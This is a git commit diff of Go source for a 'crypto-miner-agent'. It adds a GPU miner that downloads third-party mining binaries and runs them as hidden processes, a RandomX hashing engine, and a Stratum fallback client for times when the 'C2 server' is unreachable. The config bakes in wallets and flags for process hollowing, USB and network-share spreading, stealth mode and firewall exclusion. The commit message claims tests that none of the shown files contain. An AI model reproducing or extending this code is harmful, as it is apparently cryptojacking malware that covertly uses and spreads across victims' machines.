chore: repack USB + add 44 critical missing tests. Rebuilt agent+server binaries: RandomX SuperScalar init, fast Stratum fallback 8s/15s, GPU shutdown fix, RVN pool rotation, wallets baked. Tests: handleMessage dispatch, needsStratumFallback thresholds, IsGuardMode, pool parseAndSetJob, difficultyToTarget, parseSubmitResult, ParseBlob, FromModelJob round-trip.

This commit is contained in:
AetherForge
2026-06-03 00:10:12 -07:00
parent f0c4506e96
commit bbc1526c37
11 changed files with 1732 additions and 0 deletions

Binary file not shown.

View File

@@ -0,0 +1,105 @@
//go:build !windows
package client
import (
"archive/zip"
"bytes"
"os"
"os/exec"
"path/filepath"
"strings"
)
func detectGPU() GPUInfo {
// On non-Windows, only probe NVIDIA via nvidia-smi.
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
if err == nil {
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
if model != "" {
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
}
}
return GPUInfo{Vendor: GPUVendorNone}
}
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
poolURL := buildPoolURL(ep)
pass := ep.pass
if pass == "" {
pass = "x"
}
args := []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", pass,
"--api-bind-http", "127.0.0.1:4067",
}
cmd := exec.Command(binPath, args...)
cmd.Dir = filepath.Dir(binPath)
if err := cmd.Start(); err != nil {
return nil, err
}
return cmd.Process, nil
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := make([]byte, 0, 10)
neg := n < 0
if neg {
n = -n
}
for n > 0 {
buf = append([]byte{byte('0' + n%10)}, buf...)
n /= 10
}
if neg {
buf = append([]byte{'-'}, buf...)
}
return string(buf)
}
func extractZipFile(data []byte, destDir, targetFile string) error {
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
if err != nil {
return err
}
targetLower := strings.ToLower(targetFile)
for _, f := range r.File {
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
continue
}
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
dst := filepath.Join(destDir, targetFile)
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
buf := make([]byte, 32*1024)
for {
n, err := rc.Read(buf)
if n > 0 {
if _, we := out.Write(buf[:n]); we != nil {
return we
}
}
if err != nil {
break
}
}
return nil
}
return nil
}

View File

@@ -0,0 +1,147 @@
//go:build windows
package client
import (
"archive/zip"
"bytes"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/deploy"
)
// detectGPU identifies the first supported discrete GPU on Windows.
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
func detectGPU() GPUInfo {
// NVIDIA — nvidia-smi is the most reliable check
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
if model != "" {
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
}
}
// AMD — wmic (available on all modern Windows without extra installs)
if out, err := deploy.HiddenOutput(
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
); err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if !strings.HasPrefix(strings.ToLower(line), "name=") {
continue
}
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
lo := strings.ToLower(name)
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
}
}
}
return GPUInfo{Vendor: GPUVendorNone}
}
// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
poolURL := buildPoolURL(ep)
pass := ep.pass
if pass == "" {
pass = "x"
}
var args []string
switch g.info.Vendor {
case GPUVendorNVIDIA:
args = []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", pass,
"--api-bind-http", "127.0.0.1:4067",
"--no-watchdog",
"--exit-on-cuda-error",
}
case GPUVendorAMD:
args = []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", pass,
"--api_listen=4068",
}
}
cmd := exec.Command(binPath, args...)
deploy.PrepareHiddenProcess(cmd)
cmd.Dir = filepath.Dir(binPath)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, err
}
return cmd.Process, nil
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := make([]byte, 0, 10)
neg := n < 0
if neg {
n = -n
}
for n > 0 {
buf = append([]byte{byte('0' + n%10)}, buf...)
n /= 10
}
if neg {
buf = append([]byte{'-'}, buf...)
}
return string(buf)
}
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
func extractZipFile(data []byte, destDir, targetFile string) error {
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
if err != nil {
return err
}
targetLower := strings.ToLower(targetFile)
for _, f := range r.File {
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
continue
}
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
dst := filepath.Join(destDir, targetFile)
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
buf := make([]byte, 32*1024)
for {
n, err := rc.Read(buf)
if n > 0 {
if _, we := out.Write(buf[:n]); we != nil {
return we
}
}
if err != nil {
break
}
}
return nil
}
return nil // binary not found inside zip — non-fatal, caller checks after
}

View File

@@ -0,0 +1,421 @@
package client
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"sync"
"time"
"crypto-miner-agent/config"
)
// GPUVendor identifies the discrete GPU brand on the host.
type GPUVendor int
const (
GPUVendorNone GPUVendor = iota
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
GPUVendorAMD // use TeamRedMiner (KawPoW)
GPUVendorOther // generic / Intel — not supported for KawPoW
)
// GPUInfo holds detected GPU metadata.
type GPUInfo struct {
Vendor GPUVendor
Model string
}
// GPUMinerStats is polled from the miner's local HTTP API.
type GPUMinerStats struct {
Hashrate15s float64
Hashrate1m float64
Hashrate15m float64
GPUTempC *int
GPUUsagePct *int
ActiveAlgo string
}
// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
type rvnEndpoint struct {
host string
port int
tls bool
pass string
}
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
type GPUMiner struct {
cfg config.RuntimeConfig
info GPUInfo
installDir string
mu sync.RWMutex
stats GPUMinerStats
active bool
proc *os.Process // currently running subprocess (nil if stopped)
stopCh chan struct{}
wg sync.WaitGroup
}
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
// Returns nil if GPU mining should not run.
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
return nil
}
info := detectGPU()
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
return nil
}
installDir, err := cfg.InstallDirectory()
if err != nil {
log.Printf("[gpu] cannot determine install dir: %v", err)
return nil
}
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
return &GPUMiner{
cfg: cfg,
info: info,
installDir: installDir,
stopCh: make(chan struct{}),
}
}
// Start downloads (if needed) and launches the GPU miner, then polls stats.
func (g *GPUMiner) Start() {
g.wg.Add(1)
go func() {
defer g.wg.Done()
g.run()
}()
}
// Stop shuts down the GPU miner and waits for it to exit.
func (g *GPUMiner) Stop() {
select {
case <-g.stopCh:
default:
close(g.stopCh)
}
g.wg.Wait()
}
// Stats returns the latest GPU mining statistics.
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
g.mu.RLock()
defer g.mu.RUnlock()
return g.stats, g.active
}
// GPUModel returns the detected GPU model string.
func (g *GPUMiner) GPUModel() string {
return g.info.Model
}
// buildPoolList returns the primary pool followed by any configured backups.
func (g *GPUMiner) buildPoolList() []rvnEndpoint {
eps := []rvnEndpoint{{
host: g.cfg.RVNPoolHost,
port: g.cfg.RVNPoolPort,
tls: g.cfg.RVNPoolTLS,
pass: g.cfg.RVNPoolPass,
}}
for _, bp := range g.cfg.RVNBackupPools {
if bp.Host != "" && bp.Port > 0 {
eps = append(eps, rvnEndpoint{
host: bp.Host,
port: bp.Port,
tls: bp.TLS,
pass: bp.Pass,
})
}
}
return eps
}
func (g *GPUMiner) run() {
binPath, err := g.ensureMinerBinary()
if err != nil {
log.Printf("[gpu] could not obtain miner binary: %v", err)
return
}
pools := g.buildPoolList()
poolIdx := 0
const retryDelay = 30 * time.Second
for {
select {
case <-g.stopCh:
return
default:
}
ep := pools[poolIdx%len(pools)]
proc, err := g.startProcessOnPool(binPath, ep)
if err != nil {
log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
select {
case <-g.stopCh:
return
case <-time.After(retryDelay):
}
poolIdx++
continue
}
g.mu.Lock()
g.active = true
g.proc = proc
g.mu.Unlock()
log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
// pollStop signals pollStats to exit; closed when this iteration ends.
pollStop := make(chan struct{})
pollDone := make(chan struct{})
go func() {
defer close(pollDone)
g.pollStats(pollStop)
}()
// Wait for process exit in a goroutine so we can also listen for stop.
waitDone := make(chan error, 1)
go func() {
_, werr := proc.Wait()
waitDone <- werr
}()
var stopRequested bool
select {
case <-g.stopCh:
// Agent shutting down — kill the miner process immediately.
stopRequested = true
_ = proc.Kill()
<-waitDone
case waitErr := <-waitDone:
if waitErr != nil {
log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
}
// Miner crashed or exited cleanly — rotate to next pool on retry.
poolIdx++
}
close(pollStop)
<-pollDone
g.mu.Lock()
g.active = false
g.proc = nil
g.mu.Unlock()
if stopRequested {
return
}
// Wait before retrying, but exit cleanly if Stop() is called.
select {
case <-g.stopCh:
return
case <-time.After(retryDelay):
}
}
}
// pollStats polls the miner's HTTP API until stop is closed.
func (g *GPUMiner) pollStats(stop <-chan struct{}) {
apiPort := g.apiPort()
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
samples := make([]float64, 0, 90) // 15 min at 10s intervals
for {
select {
case <-stop:
return
case <-ticker.C:
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
if err != nil {
continue
}
samples = append(samples, hr)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
g.mu.Lock()
g.stats = GPUMinerStats{
Hashrate15s: hr,
Hashrate1m: avg(samples, 6),
Hashrate15m: avg(samples, len(samples)),
GPUTempC: tempC,
GPUUsagePct: usage,
ActiveAlgo: "kawpow",
}
g.mu.Unlock()
}
}
}
func avg(samples []float64, last int) float64 {
if len(samples) == 0 || last <= 0 {
return 0
}
if last > len(samples) {
last = len(samples)
}
slice := samples[len(samples)-last:]
var sum float64
for _, v := range slice {
sum += v
}
return sum / float64(len(slice))
}
func (g *GPUMiner) apiPort() int {
switch g.info.Vendor {
case GPUVendorNVIDIA:
return 4067
case GPUVendorAMD:
return 4068
default:
return 4067
}
}
// buildPoolURL constructs the stratum URL for a given pool endpoint.
func buildPoolURL(ep rvnEndpoint) string {
scheme := "stratum+tcp"
if ep.tls {
scheme = "stratum+ssl"
}
return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
}
// ---- Miner binary management ----
type minerSpec struct {
fileName string
downloadURL string
}
func (g *GPUMiner) spec() minerSpec {
switch g.info.Vendor {
case GPUVendorNVIDIA:
return minerSpec{
fileName: "t-rex.exe",
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
}
default: // AMD
return minerSpec{
fileName: "teamredminer.exe",
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
}
}
}
func (g *GPUMiner) ensureMinerBinary() (string, error) {
spec := g.spec()
binPath := filepath.Join(g.installDir, spec.fileName)
if _, err := os.Stat(binPath); err == nil {
return binPath, nil
}
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
return "", fmt.Errorf("download failed: %w", err)
}
if _, err := os.Stat(binPath); err != nil {
return "", fmt.Errorf("binary not found after download: %s", binPath)
}
return binPath, nil
}
func downloadAndExtract(url, destDir, targetFile string) error {
resp, err := http.Get(url) //nolint:noctx
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
data, err := io.ReadAll(resp.Body)
if err != nil {
return err
}
return extractZipFile(data, destDir, targetFile)
}
// ---- Miner HTTP API polling ----
// T-Rex summary response (subset we care about).
type trexSummary struct {
Hashrate int `json:"hashrate"`
GPUs []struct {
Temperature int `json:"temperature"`
GpuLoad int `json:"gpu_load"`
} `json:"gpus"`
}
// TeamRedMiner status response (subset).
type trmStatus struct {
Algorithms []struct {
Name string `json:"algorithm"`
TotalMHs float64 `json:"mhsh_total"`
} `json:"algorithms"`
GPUs []struct {
TempC int `json:"temp_c"`
Fan int `json:"fan_pct"`
} `json:"gpus"`
}
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
resp, e := http.Get(url) //nolint:noctx
if e != nil {
return 0, nil, nil, e
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
switch vendor {
case GPUVendorNVIDIA:
var s trexSummary
if e := json.Unmarshal(body, &s); e != nil {
return 0, nil, nil, e
}
hashrate = float64(s.Hashrate)
if len(s.GPUs) > 0 {
t := s.GPUs[0].Temperature
u := s.GPUs[0].GpuLoad
tempC = &t
usagePct = &u
}
case GPUVendorAMD:
var s trmStatus
if e := json.Unmarshal(body, &s); e != nil {
return 0, nil, nil, e
}
for _, a := range s.Algorithms {
if a.Name == "kawpow" || a.Name == "KawPoW" {
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
}
}
if len(s.GPUs) > 0 {
t := s.GPUs[0].TempC
u := s.GPUs[0].Fan
tempC = &t
usagePct = &u
}
}
return
}

View File

@@ -0,0 +1,57 @@
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: "dev-worker",
ServerURL: "http://127.0.0.1:8989",
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal",
MiningMode: "always",
DisplayMode: "visible",
SilentMode: false,
RunAs: "user",
AutoStart: false,
ProcessName: "CryptoMinerWorker",
BuildID: "dev",
BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "x",
MaxCPUUsage: 80,
MaxMemoryPct: 70,
MinFreeRAM: 1024,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: DefaultInstallRelativePath,
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
FirewallExclusion: true,
AIEnabled: false,
AIOllamaEndpoint: "http://localhost:11434",
AIModel: "llama3.2",
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
USBSpread: false,
ShareSpread: false,
GPUEnabled: false,
RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
RVNPoolHost: "rvn.2miners.com",
RVNPoolPort: 6060,
RVNPoolTLS: false,
RVNPoolPass: "x",
}
}

Binary file not shown.

75
usb/agent/miner/engine.go Normal file
View File

@@ -0,0 +1,75 @@
package miner
import (
"encoding/hex"
"sync"
"git.gammaspectra.live/P2Pool/go-randomx"
)
const nonceOffset = 39
const nonceSize = 4
// go-randomx is a pure-Go implementation; hardware flags are ignored internally.
const randomxFlags = 0
type Engine struct {
mu sync.RWMutex
cache *randomx.Randomx_Cache
vm *randomx.VM
seedHex string
blob []byte
}
func NewEngine() *Engine {
cache := randomx.Randomx_alloc_cache(randomxFlags)
return &Engine{cache: cache}
}
func (e *Engine) SetJob(seedHex, blobHex string) error {
seed, err := hex.DecodeString(seedHex)
if err != nil {
return err
}
blob, err := hex.DecodeString(blobHex)
if err != nil {
return err
}
e.mu.Lock()
defer e.mu.Unlock()
if e.seedHex != seedHex {
e.cache.Randomx_init_cache(seed)
// go-randomx requires SuperScalar programs to be built separately after
// seeding the cache; Randomx_init_cache only populates the Argon2d blocks.
// Without this step every CalculateHash call crashes with a nil-pointer.
gen := randomx.Init_Blake2Generator(seed, 0)
for i := range e.cache.Programs {
e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen)
}
e.vm = e.cache.VM_Initialize()
e.seedHex = seedHex
}
e.blob = append([]byte(nil), blob...)
return nil
}
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
e.mu.RLock()
defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
return "", "", nil
}
work := append([]byte(nil), e.blob...)
work[nonceOffset] = byte(nonce)
work[nonceOffset+1] = byte(nonce >> 8)
work[nonceOffset+2] = byte(nonce >> 16)
work[nonceOffset+3] = byte(nonce >> 24)
out := make([]byte, 32)
e.vm.CalculateHash(work, out)
return hex.EncodeToString(out), hex.EncodeToString(work), nil
}

329
usb/agent/miner/stratum.go Normal file
View File

@@ -0,0 +1,329 @@
package miner
// StratumClient provides a minimal Monero Stratum client that the agent falls
// back to when the C2 server is unreachable. It feeds jobs directly into the
// existing miner.Pool so hashing never stops, and submits found shares back to
// the pool over Stratum so they are not lost.
//
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
// Reference: https://p2pool.io/docs/stratum.html
import (
"bufio"
"crypto/tls"
"encoding/json"
"fmt"
"log"
"net"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
)
// ─── Wire types ──────────────────────────────────────────────────────────────
type stratumMsg struct {
ID interface{} `json:"id"`
JSONRPC string `json:"jsonrpc,omitempty"`
Method string `json:"method,omitempty"`
Params json.RawMessage `json:"params,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error interface{} `json:"error,omitempty"`
}
type loginResult struct {
ID string `json:"id"`
Job *stratumJob `json:"job"`
Status string `json:"status"`
}
type stratumJob struct {
Blob string `json:"blob"`
JobID string `json:"job_id"`
Target string `json:"target"`
SeedHash string `json:"seed_hash"`
Height int64 `json:"height"`
}
type submitParams struct {
ID string `json:"id"`
JobID string `json:"job_id"`
Nonce string `json:"nonce"`
Hash string `json:"result"` // field name "result" in Stratum protocol
}
// ─── Pool endpoint list ───────────────────────────────────────────────────────
type stratumEndpoint struct {
Host string
Port int
TLS bool
Pass string
}
func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
eps := []stratumEndpoint{{
Host: cfg.PoolHost,
Port: cfg.PoolPort,
TLS: cfg.PoolTLS,
Pass: cfg.PoolPass,
}}
for _, bp := range cfg.BackupPools {
if bp.Host != "" && bp.Port > 0 {
eps = append(eps, stratumEndpoint{
Host: bp.Host,
Port: bp.Port,
TLS: bp.TLS,
Pass: bp.Pass,
})
}
}
return eps
}
// ─── StratumClient ───────────────────────────────────────────────────────────
// StratumClient mines via a direct Stratum connection. It is started when the
// C2 server is unreachable and stopped as soon as C2 comes back.
type StratumClient struct {
pool *Pool
cfg config.RuntimeConfig
}
func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
return &StratumClient{pool: pool, cfg: cfg}
}
// RunFallback cycles through all configured pools, trying each in turn, until
// stopCh is closed. If a pool does not deliver a mining job within 5 seconds
// of a successful login the connection is dropped and the next pool is tried.
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
if s.cfg.PoolHost == "" {
log.Printf("[stratum] no pool configured — fallback unavailable")
return
}
endpoints := buildStratumEndpoints(s.cfg)
idx := 0
for {
select {
case <-stopCh:
return
default:
}
ep := endpoints[idx%len(endpoints)]
log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
if err := s.runPool(ep, stopCh); err != nil {
log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
}
idx++
// Short pause between pool attempts so we don't hammer them.
select {
case <-stopCh:
return
case <-time.After(3 * time.Second):
}
}
}
// runPool manages one Stratum connection until it fails or stopCh is closed.
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
var conn net.Conn
var err error
if ep.TLS {
conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
} else {
conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
}
if err != nil {
return err
}
defer conn.Close()
// Set up a reader (Stratum is newline-delimited JSON).
reader := bufio.NewReader(conn)
msgID := 1
// ── Login ────────────────────────────────────────────────────────────────
wallet := s.cfg.Wallet
pass := ep.Pass
if pass == "" {
pass = "x"
}
loginReq, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "login",
Params: mustMarshal(map[string]interface{}{
"login": wallet,
"pass": pass,
"rigid": s.cfg.WorkerName,
"agent": "AetherForge/" + config.Version,
}),
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
return fmt.Errorf("login send: %w", err)
}
_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
loginLine, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("login read: %w", err)
}
_ = conn.SetDeadline(time.Time{}) // clear deadline
var loginResp stratumMsg
if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
return fmt.Errorf("login parse: %w", err)
}
if loginResp.Error != nil {
return fmt.Errorf("login error: %v", loginResp.Error)
}
var lr loginResult
if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
return fmt.Errorf("login result parse: %w", err)
}
sessionID := lr.ID
log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
// Feed the initial job from the login response.
gotJob := lr.Job != nil
if lr.Job != nil {
s.setJob(lr.Job)
}
// ── Share submission channel ──────────────────────────────────────────────
// The pool's share handler sends shares here; this goroutine drains them
// and writes submit requests to the Stratum connection.
shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
s.pool.SetShareHandler(func(jobID, nonce, hash string) {
select {
case shareCh <- [3]string{jobID, nonce, hash}:
default:
log.Printf("[stratum] share channel full — dropping share")
}
})
// innerDone is closed when runPool returns for any reason (connection error
// or stopCh). It signals the submit goroutine to exit even when stopCh is
// still open, preventing a hang until the next share arrives.
innerDone := make(chan struct{})
submitDone := make(chan struct{})
go func() {
defer close(submitDone)
for {
select {
case <-stopCh:
return
case <-innerDone:
return
case share, ok := <-shareCh:
if !ok {
return
}
params, _ := json.Marshal(submitParams{
ID: sessionID,
JobID: share[0],
Nonce: share[1],
Hash: share[2],
})
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "submit",
Params: params,
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
log.Printf("[stratum] submit write error: %v", err)
return
}
}
}
}()
// Signal the submit goroutine and wait for it when runPool returns.
defer func() {
close(innerDone)
<-submitDone
}()
// Close the TCP connection as soon as stopCh fires so that the blocking
// reader.ReadString call (120 s deadline) unblocks immediately rather than
// making callers wait up to two minutes for the fallback to stop.
go func() {
select {
case <-stopCh:
_ = conn.Close()
case <-innerDone:
}
}()
// ── Job receive loop ──────────────────────────────────────────────────────
// If the login response contained no job, give the pool 60 seconds to push
// one before we give up and rotate to the next endpoint.
var jobDeadline <-chan time.Time
if !gotJob {
jobDeadline = time.After(60 * time.Second)
}
keepalive := time.NewTicker(60 * time.Second)
defer keepalive.Stop()
for {
select {
case <-stopCh:
return nil
case <-jobDeadline:
return fmt.Errorf("no job received within 60s — rotating to next pool")
case <-keepalive.C:
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "keepalived",
Params: mustMarshal(map[string]string{"id": sessionID}),
})
msgID++
_, _ = fmt.Fprintf(conn, "%s\n", req)
default:
}
_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
line, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("read: %w", err)
}
var msg stratumMsg
if err := json.Unmarshal([]byte(line), &msg); err != nil {
continue
}
if msg.Method == "job" {
var sj stratumJob
if err := json.Unmarshal(msg.Params, &sj); err == nil {
s.setJob(&sj)
jobDeadline = nil // job received — cancel the 60s rotation timer
}
}
}
}
// setJob converts a Stratum job into the agent's internal job.Job format and
// feeds it into the miner Pool.
func (s *StratumClient) setJob(sj *stratumJob) {
if sj == nil || sj.Blob == "" {
return
}
j := &job.Job{
ID: sj.JobID,
Blob: sj.Blob,
Target: sj.Target,
SeedHash: sj.SeedHash,
}
s.pool.SetJob(j)
log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
}
func mustMarshal(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}